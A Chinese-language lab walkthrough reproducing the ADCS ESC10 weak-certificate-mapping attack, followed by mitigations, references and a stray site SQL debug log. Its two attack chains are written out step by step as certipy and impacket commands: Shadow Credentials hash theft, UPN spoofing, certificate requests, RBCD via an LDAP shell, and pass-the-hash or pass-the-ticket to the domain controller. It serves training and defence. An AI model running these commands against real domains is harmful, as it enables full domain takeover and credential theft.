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ADCS ESC10 证书模板漏洞复现:Shadow Credentials + 弱映射

ADCS ESC10 证书模板漏洞复现:Shadow Credentials + 弱映射

1

概述

ESC10(Weak Certificate Mapping,弱证书映射)是 Active Directory Certificate Services (ADCS) 中的一个特权提升漏洞,允许低权限攻击者通过操纵用户主体名称(UPN)并利用域控制器注册表中的弱证书映射配置,伪装成任意用户或计算机账户(包括 Domain Admin 或 Domain Controller),实现域内完全接管。

它主要依赖系统级注册表弱化(如 StrongCertificateBindingEnforcement 或 CertificateMappingMethods),结合 Shadow Credentials 或 GenericWrite 权限即可完成攻击。

原理

核心在于 ADCS 与 Kerberos(PKINIT)/Schannel 认证过程中证书到 AD 账户的映射机制被弱化:

  • 正常情况下,证书应通过 szOID_NTDS_CA_SECURITY_EXT 扩展中的 SID(Security Identifier)进行强绑定验证。

  • 当注册表配置弱化时,映射退化为仅依赖 UPN(User Principal Name)或 SAN 等较弱属性,攻击者可轻松伪造映射。

关键注册表键值(位于域控制器上):

  • HKLM\SYSTEM\CurrentControlSet\Services\Kdc\StrongCertificateBindingEnforcement(Kerberos 相关):

    • 0 = 完全禁用(最危险,完全依赖 UPN)。

    • 1 = 兼容模式(部分回退,仍然脆弱)。

    • 2 = 严格强制(需 SID 扩展,安全)。

  • HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel\CertificateMappingMethods(Schannel/LDAPS 相关):

    • 若包含 0x04 ,允许仅凭 UPN 完成弱映射。

下面是整个攻击过程示意图:

  • Shadow credential — user1 利用 GenericWrite 写入 user2 的 msDS-KeyCredentialLink,拿到 user2 的 NT hash。

  • UPN spoofing — 把 user2 的 UPN 改为 Administrator。

  • Request certificate — 以 user2 身份向 CA 申请 User 模板证书,签发的 .pfx 内 UPN 为 Administrator。

  • Revert UPN — 还原 user2 原始 UPN,降低取证痕迹。

  • PKINIT — 持证书向 KDC 认证,因 StrongCertificateBindingEnforcement=0,KDC 仅按 UPN 查表,匹配到真实 Administrator。

  • Full compromise — 拿到域管 TGT 后执行 DCSync、横向移动,完成全域控制。

2

环境配置

系统:Windows Server 2022,系统内部版本为20348.1787域控IP:192.168.1.55域名:esc16.com域控机器名:DC2022证书服务器IP: 192.168.1.56证书服务器机器名:ADCS2022域用户:user1 / Password@123,普通域用户user2 / Password@123,普通域用户user1 对 user2 具有写入权限攻击机器kali:192.168.1.52

在域控上设置不执行强映射: StrongCertificateBindingEnforcement=0  。

设置user1对user2写入权限。

拉取最新certipy

创建并激活虚拟环境。

# 创建一个名为 certipy_env 的虚拟环境python3 -m venv certipy_env# 激活该虚拟环境source certipy_env/bin/activate

拉取最新源码并安装。

# 克隆最新的官方仓库git clone https://github.com/ly4k/Certipy.git# 进入源码目录cd Certipy# 使用 pip 安装 Certipy 及其所需依赖pip install .

为了克隆更加顺利,我给git配置代理之后再克隆。

git config --global https.proxy http://192.168.1.9:7897

3

漏洞复现

方式一

用kali内置的certipy-ad执行shadow credentials攻击,获取user2的hash,但是出现问题。

certipy-ad shadow auto -u user1@esc16.com -p Password@123 -account user2 -dc-ip 192.168.1.55

然后用上文安装的certipy执行shadow credentials攻击,成功获取到user2的hash。

certipy -debug shadow auto -u user1@esc16.com -p Password@123 -account user2 -dc-ip 192.168.1.55

将user2的upn(userPrincipalName)修改为Administrator。

certipy account update -u user1@esc16.com -password Password@123 -user user2 -upn Administrator -dc-ip 192.168.1.55

使用User模板,以 user2的身份请求客户端身份验证证书。

certipy req -u user2@esc16.com -hashes a29f7623fd11550def0192de9246f46b -ca esc16-ADCS2022-CA -template USER -dc-ip 192.168.1.55 -target 192.168.1.56

恢复user2的upn(userPrincipalName)为原始值。

 certipy account update -u user1@esc16.com -p Password@123 -user user2 -upn user2@esc16.com -dc-ip 192.168.1.55

用pfx证书认证,并获取administrator的hash值。

certipy auth -pfx administrator.pfx -dc-ip 192.168.1.55 -domain esc16.com                                     

通过hash传递横向到域控。

impacket-psexec esc16.com/administrator@192.168.1.55 -hashes aad3b435b51404eeaad3b435b51404ee:5be*********ffe0

方式二

用certipy执行shadow credentials攻击,成功获取到user2的hash。

certipy -debug shadow auto -u user1@esc16.com -p Password@123 -account user2 -dc-ip 192.168.1.55

将user2的upn(userPrincipalName)设置为dc的机器名。

certipy account update -u user1@esc16.com -p Password@123 -user user2 -upn DC2022 -dc-ip 192.168.1.55

使用User模板,以 user2的身份请求客户端身份验证证书。

certipy req -u user2@esc16.com -hashes a29f7623fd11550def0192de9246f46b -ca esc16-ADCS2022-CA -template User  -target 192.168.1.56

恢复user2的upn(userPrincipalName)为原始值。

certipy account update -u user1 -p Password@123 -user user2 -upn user2@esc16.com -dc-ip 192.168.1.55

要通过 Schannel 进行身份验证,需要使用 Certipy 的 -ldap-shell 选项。创建计算机账户、设置rbcd。

certipy auth -pfx dc2022.pfx -dc-ip 192.168.1.55 -domain esc16.com -ldap-shelladd_computer cptest Password@123set_rbcd dc2022$ cptest$

获取票据。

impacket-getST -spn cifs/dc2022.esc16.com -impersonate Administrator -dc-ip 192.168.1.55 esc16.com/cptest$:Password@123

导入票据。

export KRB5CCNAME=/root/Certipy/Administrator@cifs_dc2022.esc16.com@ESC16.COM.ccache 

通过票据传递横向到域控。

impacket-wmiexec -k -no-pass DC2022.esc16.com -debug                                                                   

4

缓解措施

  • 启用强证书绑定:在所有域控上设置 HKLM\SYSTEM\CurrentControlSet\Services\Kdc\StrongCertificateBindingEnforcement = 2(强制 SID 扩展验证)。

  • 严格 ACL 审计:限制对用户对象 msDS-KeyCredentialLink、userPrincipalName、sAMAccountName 的 GenericWrite / WriteProperty 权限,遵循最小特权原则。

  • 确保模板权限和审批流程正确。

  • 审核 UPN 变更,特别是管理员类型帐户的变更。

  • 监控 PKINIT 和证书颁发日志(事件 ID 4886/4887)。

5

参考链接

  • https://www.hackingarticles.in/adcs-esc10-weak-certificate-mapping/

  • https://medium.com/r3d-buck3t/adcs-attack-series-abusing-esc10-for-privilege-escalation-via-misconfigured-registries-a8c6edf07d9e

  • https://adminions.ca/books/adcs/page/esc10

  • https://www.thehacker.recipes/ad/movement/adcs/certificate-templates#esc10-weak-certificate-mapping

  • https://xbz0n.sh/blog/adcs-complete-attack-reference

  • https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation

  • https://hacktricks.wiki/en/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.html#weak-certificate-mappings---esc10

END

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  1. CONNECT:[ UseTime:0.000444s ] mysql:host=127.0.0.1;port=3306;dbname=wenku;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.000706s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.000308s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.000257s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.000514s ]
  6. SELECT * FROM `set` [ RunTime:0.000201s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.000504s ]
  8. SELECT * FROM `article` WHERE `id` = 515448 LIMIT 1 [ RunTime:0.000440s ]
  9. UPDATE `article` SET `lasttime` = 1775951955 WHERE `id` = 515448 [ RunTime:0.001318s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 64 LIMIT 1 [ RunTime:0.000237s ]
  11. SELECT * FROM `article` WHERE `id` < 515448 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.000515s ]
  12. SELECT * FROM `article` WHERE `id` > 515448 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.000410s ]
  13. SELECT * FROM `article` WHERE `id` < 515448 ORDER BY `id` DESC LIMIT 10 [ RunTime:0.000749s ]
  14. SELECT * FROM `article` WHERE `id` < 515448 ORDER BY `id` DESC LIMIT 10,10 [ RunTime:0.001139s ]
  15. SELECT * FROM `article` WHERE `id` < 515448 ORDER BY `id` DESC LIMIT 20,10 [ RunTime:0.003549s ]
0.085154s